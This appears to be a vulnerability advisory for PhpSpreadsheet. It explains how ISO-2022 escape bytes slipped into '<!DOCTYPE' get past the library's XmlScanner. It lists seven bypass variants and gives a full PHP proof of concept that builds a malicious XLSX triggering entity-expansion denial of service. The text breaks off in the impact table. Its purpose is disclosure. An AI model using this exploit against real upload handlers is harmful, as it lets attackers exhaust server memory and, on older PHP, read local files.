PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service

### Summary PhpSpreadsheet's `XmlScanner::scan()` uses a regex pattern that only accounts for NULL byte (0x00) interleaving when detecting `<!DOCTYPE`. ISO-2022 escape sequences (0x1B bytes) inserted between the characters of the pattern break the regex match entirely, allowing DOCTYPE declarations with entity definitions to pass through undetected. This enables Denial of Service via quadratic entity expansion on **all PHP versions**, and XXE/SSRF on PHP < 8.0 or when `LIBXML_NOENT` is used. Any application using PhpSpreadsheet to process user-uploaded XLSX files is affected. ### Details The vulnerability exists in `src/PhpSpreadsheet/Reader/Security/XmlScanner.php`, method `scan()`, lines 87–100. The scanner builds a regex pattern `/\0*<\0*!\0*D\0*O\0*C\0*T\0*Y\0*P\0*E\0*/` that only handles NULL byte interleaving. ISO-2022 escape sequences (e.g., `0x1B 0x28 0x42` for ISO-2022-JP) inserted between each character of `<!DOCTYPE` break the regex because it only expects optional `\0` between characters. The XLSX reader extracts XML parts from the ZIP archive and passes each through `XmlScanner::scan()` before `simplexml_load_string()`. The XML parser strips the ESC bytes during charset normalization, producing a valid `<!DOCTYPE` declaration that the scanner never detected. Seven ISO-2022 encoding variants bypass the scanner: - ISO-2022-JP (`ESC ( B`) - ISO-2022-JP-2 (`ESC $ B`) - ISO-2022-KR (`ESC $ ) C`) - ISO-2022-CN (`ESC $ ) A`) - ISO-2022-CN-EXT (`ESC $ ) G`) - ISO-2022-JP-2004 (`ESC $ ( Q`) - ISO-2022-JP-MS (`ESC & @ ESC $ B`) Internal entity expansion (quadratic blowup) is **not blocked** by libxml2 2.9+ defaults, making this directly exploitable for DoS on all modern PHP versions. ### PoC Save the following as `poc_iso2022.php` in a directory with PhpSpreadsheet installed via Composer: ```php <?php require 'vendor/autoload.php'; // ESC ( B = ISO-2022-JP escape sequence (switch to ASCII) $esc = "\x1b\x28\x42"; // Build <!DOCTYPE with ESC bytes between each character $doctype = "<".$esc."!".$esc."D".$esc."O".$esc."C".$esc."T".$esc."Y".$esc."P".$esc."E"; // Internal entity for DoS (works on ALL PHP versions) $entity_value = str_repeat('A', 100000); $refs = str_repeat('&big;', 200); $shared_strings = '<?xml version="1.0" encoding="UTF-8"?>' . "\n" . $doctype . ' sst [' . "\n" . ' <!ENTITY big "' . $entity_value . '">' . "\n" . ']>' . "\n" . '<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">' . '<si><t>' . $refs . '</t></si></sst>'; // Build minimal XLSX $xlsx = new ZipArchive(); $xlsx->open('poc.xlsx', ZipArchive::CREATE | ZipArchive::OVERWRITE); $xlsx->addFromString('[Content_Types].xml', '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">' .'<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>' .'<Default Extension="xml" ContentType="application/xml"/>' .'<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>' .'<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>' .'<Override PartName="/xl/sharedStrings.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml"/>' .'</Types>'); $xlsx->addFromString('_rels/.rels', '<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' .'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>' .'</Relationships>'); $xlsx->addFromString('xl/workbook.xml', '<?xml version="1.0"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">' .'<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'); $xlsx->addFromString('xl/_rels/workbook.xml.rels', '<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' .'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>' .'<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings" Target="sharedStrings.xml"/>' .'</Relationships>'); $xlsx->addFromString('xl/worksheets/sheet1.xml', '<?xml version="1.0"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">' .'<sheetData><row r="1"><c r="A1" t="s"><v>0</v></c></row></sheetData></worksheet>'); $xlsx->addFromString('xl/sharedStrings.xml', $shared_strings); $xlsx->close(); echo "XLSX size: " . filesize('poc.xlsx') . " bytes\n"; // Load with PhpSpreadsheet $mem_before = memory_get_usage(true); $reader = new \PhpOffice\PhpSpreadsheet\Reader\Xlsx(); $reader->setReadDataOnly(true); $spreadsheet = $reader->load('poc.xlsx'); $peak = memory_get_peak_usage(true); echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n"; $val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue(); echo "Cell A1 length: " . strlen($val) . " bytes\n"; echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n"; ``` Run: `php -d memory_limit=512M poc_iso2022.php` **Expected result:** The scanner does not detect the DOCTYPE. The XLSX loads successfully. Internal entities expand, consuming ~45 MB of memory from a ~2 KB file. **Tested on:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13. ### Impact | Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ | |--------|---------------------------|------------------------| | Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** | | Local file read via SYSTEM entity | **Exploitable** | Bloc…